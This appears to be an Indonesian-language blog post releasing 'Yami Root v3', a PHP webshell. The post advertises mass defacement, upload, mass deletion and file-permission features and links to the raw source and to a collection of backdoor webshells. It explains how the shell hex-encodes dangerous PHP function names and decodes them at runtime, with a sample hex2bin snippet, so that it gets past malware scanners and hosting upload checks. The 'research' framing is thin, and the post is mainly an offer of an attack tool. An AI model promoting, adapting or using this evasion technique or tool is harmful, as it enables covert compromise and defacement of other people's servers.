Release Bypass Shell PHP: ヤミRoot

Yami Root v3 – Webshell Obfuscated Anti-Scanner

Dalam dunia keamanan siber, script webshell masih menjadi topik hangat, terutama dalam konteks deteksi dan bypass terhadap sistem keamanan otomatis seperti malware scanner dan WAF.

Versi Terbaru: ヤミRoot

Kali ini, 6ickZoneShell hadir dalam versi terbaru: ヤミRoot, yang sudah dilengkapi dengan fitur bulk delete dan sistem hex-encoded function call obfuscation. Teknik ini menyulitkan scanner konvensional karena:

• Semua fungsi PHP standar seperti system, unlink, file_put_contents, dll. disimpan dalam bentuk hex dan di-decode saat runtime.
• Tidak ada pemanggilan fungsi eksplisit seperti eval(), base64_decode(), atau assert().
• String seperti shell_exec tidak bisa dicari langsung oleh signature scanner.

Fitur

• Mass deface: recursive & flat
• Upload file
• Zip dan extract (new)
• Mass Delete (new)
• Rename, CHMOD, edit, dan create file/directory langsung dari UI

Contoh Teknik Obfuscation

Berikut salah satu teknik yang digunakan dalam script ini:

$f = ["6572726f725f7265706f7274696e67", "73657373696f6e5f7374617274", ...];

foreach ($f as $k => $v) { $f[$k] = hex2bin($v); }

Fungsi seperti error_reporting dan session_start tidak langsung ditulis, tapi diakses lewat array $f setelah proses decode.

Apakah Ini Termasuk Bypass Shell?

Bisa dibilang iya. Dengan obfuscation seperti ini, banyak signature-based scanner (contoh: ClamAV, Maldet, ImunifyAV) gagal mendeteksi karena tidak bisa membaca isi fungsinya secara langsung.

Bahkan di beberapa panel shared hosting, script ini mampu lolos upload dan eksekusi tanpa terdeteksi—selama tidak ada heuristic atau sandbox scanning tambahan.

Unduh atau Lihat Source

Kamu bisa lihat atau unduh script ini di raw berikut:

🔗 Raw Pastebin
🔗 GitHub Raw

Kesimpulan

Obfuscation bukan hanya teknik keren, tapi juga bagian penting dari riset keamanan. Script ini merupakan contoh nyata bagaimana modifikasi kode sederhana dapat mempersulit proses deteksi otomatis.

---

Web Shell Backdoor Collection 👾

https://adilhyz.github.io/WebShell/

---

"Where creativity, exploitation, and expression collide." — 6ickZone